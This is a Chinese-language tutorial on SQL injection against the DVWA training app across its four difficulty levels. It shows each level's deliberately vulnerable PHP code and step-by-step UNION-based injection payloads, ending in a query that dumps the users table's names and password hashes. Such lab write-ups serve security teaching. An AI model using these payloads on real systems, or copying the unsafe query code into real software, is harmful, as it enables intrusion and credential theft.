1. 程式人生 > 實用技巧 >DVWA各等級sql注入

DVWA各等級sql注入

sql全等級注入

level:low

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {      //判斷submit是否存在
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    //sql的查詢語句  尋找表段users中user_id對應的first_name,last_name對應的值

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysqli_query函式執行mysql查詢 (其中 mysql_query()僅對 SELECT,SHOW,EXPLAIN 或 DESCRIBE 語句返回一個資源識別符號,如果查詢執行不正確則返回 FALSE 
    	//die()函式輸出一條資訊,並推出當前指令碼
		//mysql_error()函式返回上一個mysql操作產生的文字錯誤資訊
		//or 前一個語句執行不成功時才會執行後面的語句
		//and 前一個語句執行成功時,才會執行後面的語句



    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 
//什麼是同一資源識別符號: (URL)
			<!-- 第一部分:協議(或稱服務方式)
			第二部分:存有資源的主機IP地址(有時包括埠號)
			第三部分:主機資源的具體地址 -->

手工注入思路

  1. 判斷是否存在注入,注入的型別是數字型還是字元型
  2. 猜解sql查詢語句中的欄位數
  3. 確定顯示的欄位順序
  4. 獲取當前資料庫
  5. 獲取資料庫中的表
  6. 獲取表中的欄位名
  7. 下載資料

sql手工注入漏洞利用

現實攻擊場景下,攻擊者是無法看到後端程式碼的,所以下面的手工注入步驟是建立在無法看到原始碼的基礎上。

  1. 判斷是否存在注入,注入是字元型還是數字型

輸入1,查詢成功:

輸入1’and ‘1’ =’2,查詢失敗,返回結果為空:

輸入1’or ‘1’=’1,查詢成功:

說明存在字元型注入

  1. 猜解SQL查詢語句中的欄位數

輸入1′ or 1=1 order by 1 #,查詢成功:

輸入1′ or 1=1 order by 2 #,查詢成功:

當輸入到1′ or 1=1 order by 3 #,時查詢失敗
說明執行的SQL查詢語句中只有兩個欄位,即這裡的First name、Surname。
(這裡也可以通過輸入union select 1,2,3…來猜解欄位數)

  1. 確定顯示的欄位順序

輸入1′ union select 1,2 #,查詢成功:

說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…

  1. 獲取當前資料庫

輸入1′ union select 1,database() #,查詢成功

可得到當前資料庫為dvwa

  1. 獲取資料庫中的表

輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

資料庫dvwa中一共有兩個表,guestbook與users。

  1. 獲取表中的欄位名

輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢成功:

說明users表中有8個欄位,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

  1. 下載資料

輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

得到了users表中所有使用者的user_id,first_name,last_name,password的資料。

level:medium

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>
  • mysqli_real_escape_string()函式對使用者輸入的id引數進行過濾
  • 可以把單引號['],雙引號["] 反斜槓[],空字元[null]等進行轉義(轉義:把指定的字元轉換成毫無意義的符號,比如PHP解析器不會把經過轉義的引號當過引號來看待 ##PHP中有一個類似功能的函式:addashes())
  • 方法

    medium級換成了POST請求,加入保護形式,由於SQL查詢沒有引用引數,這將不能完全保護查詢不被更改。 通過burp抓包,之後再修改引數。

level:high

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>


  • 方法

  • 與medium級別相比較,high只是在'Check database'中加入了LIMIT 1的限制,希望以此控制只輸出一個結果。
  • 由於新增limit 1的限制,可以通過#(註釋符)將其註釋掉,手工注入與low一致
  • 需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

level:impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>


按照所傳遞的資料型別分類:

  • 數字型注入:
    Select first_name,last_name from users where user_id =$id;
  • 字元型注入:
    Select first_name,last_name from users where user_id='$id'
  • 字元型注入需要閉合$id的單引號

無論哪種型別,都可以通過直接輸入單引號來判斷是否存在注入點

可以分別輸入3和1+2,根據回顯結果判斷資料型別
此dvwa版本為v1.9DVWA-1.9全級別教程之SQL Injection